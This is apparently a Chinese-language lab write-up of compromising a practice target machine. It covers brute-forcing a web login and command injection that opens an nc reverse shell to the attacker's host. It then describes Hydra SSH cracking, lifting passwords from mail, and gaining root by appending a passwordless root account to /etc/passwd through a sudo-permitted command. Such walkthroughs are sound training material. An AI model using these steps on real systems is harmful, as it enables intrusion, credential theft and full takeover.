概述

测试目的

测试范围

详细测试流程

1、发现测试目标

2、信息收集

开放了22端口和80端口

访问80端口，发现没什么可用的，就用BP暴力破解

最后得到密码是happy

登录

3、漏洞利用

登录以后可以看到有执行命令的单选框，这个时候我们选择第一个列出当前目录的文件，然后在BP里面查看相应的数据包，可以看到在radio参数里面就是执行的命令，然后用加号替换空格

先将这个数据包发送到repeater可以按下ctrl+r

然后我们将radio参数里面的命令进行替换，换成

nc+192.168.152.128+1234+-e+/bin/sh

在发包之前先在kali上面执行nc –lvnp 1234

192.168.152.128是kali的ip地址，1234是开放监听的端口

获得一个shell

用python稳定化shell,获得交互式shell

我们先回到家目录发现有三个用户，以及在jim目录下面发现有一个密码字典

保存下来用户名和密码

用hydra暴力破解

hydra –L user.txt –P pass.txt 192.168.152.134 ssh

jim/jibril04

仔细看，在登录以后提示有新邮件

输入mail命令

进入到邮件对应的目录并打开邮件

得到了carles的密码^xHhA&hvim0y

carles/^xHhA&hvim0y

Linux里面mail邮件的用法https://blog.csdn.net/weixin_34765773/article/details/116642547

4、提权

在jim用户里面用sudo和suid提权都失败

但是在charles用户里面用sudo –l发现有个以root权限运行的命令

查看/etc/passwd文件，直接追加内容添加一个具有root权限的用户

添加了一个admin用户，密码为空

echo "admin::0:0:admin:/root:/bin/bash" | sudo teehee -a /etc/passwd

添加了一个无密码的具有root权限的用户admin

这里我尝试了在jim和charles里面用su命令切换到admin都失败了，后面还试过添加其他用户，发现用su命令都不可以切换

后面想着试一下用添加的用户直接登录靶机，发现直接就成功了，并且具有root权限

漏洞详情和修复建议

测试结果综述

访问80端口，利用BP暴力破解账号密码，进入以后修改执行命令请求包，反弹shell，利用python获得交互shell。找到3个账号和一个密码字典，利用hydra破解得到jim的密码。

然后ssh连接jim发现有邮件，在邮件里面发现了charles的密码，连接上了以后分别在jim和charles上面尝试了sudo和suid提权，都失败。最后在charles发现有一个具有root权限的命令，利用这个命令，添加上具有root权限的用户admin.最后在靶机上直接登录成功。